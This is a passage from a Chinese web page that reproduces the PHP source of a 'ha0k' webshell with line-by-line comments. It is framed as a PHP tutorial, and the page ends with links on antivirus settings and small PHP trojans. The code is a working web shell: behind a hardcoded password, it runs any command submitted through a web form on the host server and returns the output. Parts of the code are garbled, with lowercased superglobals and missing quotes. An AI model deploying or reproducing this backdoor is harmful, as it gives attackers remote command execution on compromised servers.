'ha0k',
'hackerdsb'=>'hackerdsb');
/* 此处设置命令的别名 */
$aliases = array('ls' => 'ipconfig',
'll' => 'ls -lvhf');
if (!isset($_server['php_auth_user'])||!isset($_server['php_auth_pw'])||
!isset($passwd[$_server['php_auth_user']]) ||
$passwd[$_server['php_auth_user']] != $_server['php_auth_pw']) {
header('www-authenticate: basic realm=by ha0k');
header('http/1.0 401 unauthorized');
$authenticated = false;
}
else {
$authenticated = true;
/* 开始session */
session_start();
/* 初始化session. */
if (empty($_session['cwd']) || !empty($_request['reset'])) {
$_session['cwd'] = getcwd(); //取当前目录
$_session['history'] = array();
$_session['output'] = '';
}
if (!empty($_request['command'])) {
if (get_magic_quotes_gpc()) { //0表关闭,1表开启,开启时过滤
/* we don't want to add the commands to the history in the
* escaped form, so we remove the backslashes now. */
$_request['command'] = stripslashes($_request['command']); //将用addslashes()函数处理后的字符串返回原样
}
/* history */
if (($i = array_search($_request['command'], $_session['history'])) !== false) //查找保存数组中的值
unset($_session['history'][$i]); //销毁
array_unshift($_session['history'], $_request['command']);//array_unshift()函数的作用是在一个数组中插入新的元素。而这个新的数组将被添加到原数组的开头部分。函数最终返回的是插入新元素后的数组。
/* 输出ha0k# command */
$_session['output'] .= 'ha0k# ' . $_request['command'] . \n;
/* initialize the current working directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_request['command'])) {
$_session['cwd'] = dirname(__file__); //获取当前所在目录
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_request['command'], $regs)) {
/* the current command is a 'cd' command which we have to handle
* as an internal shell command. */
if ($regs[1][0] == '/') {
/* absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* relative path, we append it to the current working
* directory. */
$new_dir = $_session['cwd'] . '/' . $regs[1];
}
/* transform '/./' into '/' */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
/* transform '//' into '/' */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
/* transform 'x/..' into '' */
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* try to change directory. */
if (@chdir($new_dir)) { //改变当前目录
$_session['cwd'] = $new_dir;
} else {
$_session['output'] .= cd: could not change to: $new_dir\n;
}
} else {
/* the command is not a 'cd' command, so we execute it after
* changing the directory and save the output. */
chdir($_session['cwd']); //改变目录
/* 别名扩展 */
$length = strcspn($_request['command'], \t); //查找\t字符串,返回位置
$token = substr($_request['command'], 0, $length); //取字符串0-\t
if (isset($aliases[$token]))
$_request['command'] = $aliases[$token] . substr($_request['command'], $length);
$p = proc_open($_request['command'], //执行脚本
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
/* 读出发送 */
while (!feof($io[1])) {
$_session['output'] .= htmlspecialchars(fgets($io[1]), //转换特殊字符为html字符编码
ent_compat, 'gb2312');
}
/* 读出 */
while (!feof($io[2])) {
$_session['output'] .= htmlspecialchars(fgets($io[2]),
ent_compat, 'gb2312');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);//关闭管道
}
}
/* 构建在javascript使用命令历史记录 */
if (empty($_session['history'])) {
$js_command_hist = '';
} else {
$escaped = array_map('addslashes', $_session['history']);
$js_command_hist = ', ' . implode(', ', $escaped) . '';//将数组搞成字符串
}
}
header('content-type: text/html; charset=gb2312');
echo '' . \n;
?>
br>http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd>
ha0k webshell
ha0k
we just for justice,fight for evial
you failed to authenticate yourself to phpshell. you can href=>reload to try again.
try reading the install file if you're having
problems with installing phpshell.
当前目录为:
$ size=78 tabindex=1>
行数:
本地文件名:
远程文件名:
mcafee(麦咖啡杀毒软件) 防止网页被挂马的设置教程(最后不要在服务器端打开) 我们强烈推荐服务器安装mcafee 8.5i的版本
全世界最小的php网页木马一枚 附php木马的防范方法
以上就介绍了 ha0k 03 php 网页木马修改版,包括了方面的内容,希望对php教程有兴趣的朋友有所帮助。
